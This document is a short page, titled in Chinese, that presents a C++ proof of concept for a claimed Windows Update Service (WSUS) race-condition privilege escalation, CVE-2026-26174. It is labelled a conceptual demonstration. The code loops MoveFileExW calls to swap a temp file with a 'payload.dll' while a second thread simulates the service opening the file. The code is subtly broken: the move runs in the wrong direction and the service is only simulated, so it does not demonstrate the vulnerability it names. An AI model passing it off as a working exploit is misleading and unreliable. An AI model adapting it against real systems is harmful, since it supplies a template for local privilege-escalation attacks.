CVE-2026-26174 Windows更新服务权限提升漏洞

/* * PoC for CVE-2026-26174 (Race Condition in WSUS) * Conceptual demonstration only. */ #include <windows.h> #include <stdio.h> #include <thread> // Simulated target file path used by WSUS LPCWSTR targetFile = L"C:\\Windows\\Temp\\wsus_update.tmp"; LPCWSTR maliciousFile = L"C:\\Users\\Attacker\\payload.dll"; void AttackerThread() { while (TRUE) { // Attempt to exploit the race window if (MoveFileExW(targetFile, maliciousFile, MOVEFILE_REPLACE_EXISTING | MOVEFILE_WRITE_THROUGH)) { printf("[+] Race won! File replaced.\n"); break; } Sleep(1); // Tight loop to maximize hit chance } } void TriggerServiceThread() { // Simulate the service operation that touches the file // In a real scenario, this would call a vulnerable WSUS API printf("[*] Triggering WSUS operation...\n"); Sleep(100); // Small delay to create window HANDLE hFile = CreateFileW(targetFile, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile != INVALID_HANDLE_VALUE) { printf("[*] Service accessed file.\n"); CloseHandle(hFile); } } int main() { printf("Starting PoC for CVE-2026-26174...\n"); // Create threads to simulate race condition std::thread t1(TriggerServiceThread); std::thread t2(AttackerThread); t1.join(); t2.join(); return 0; }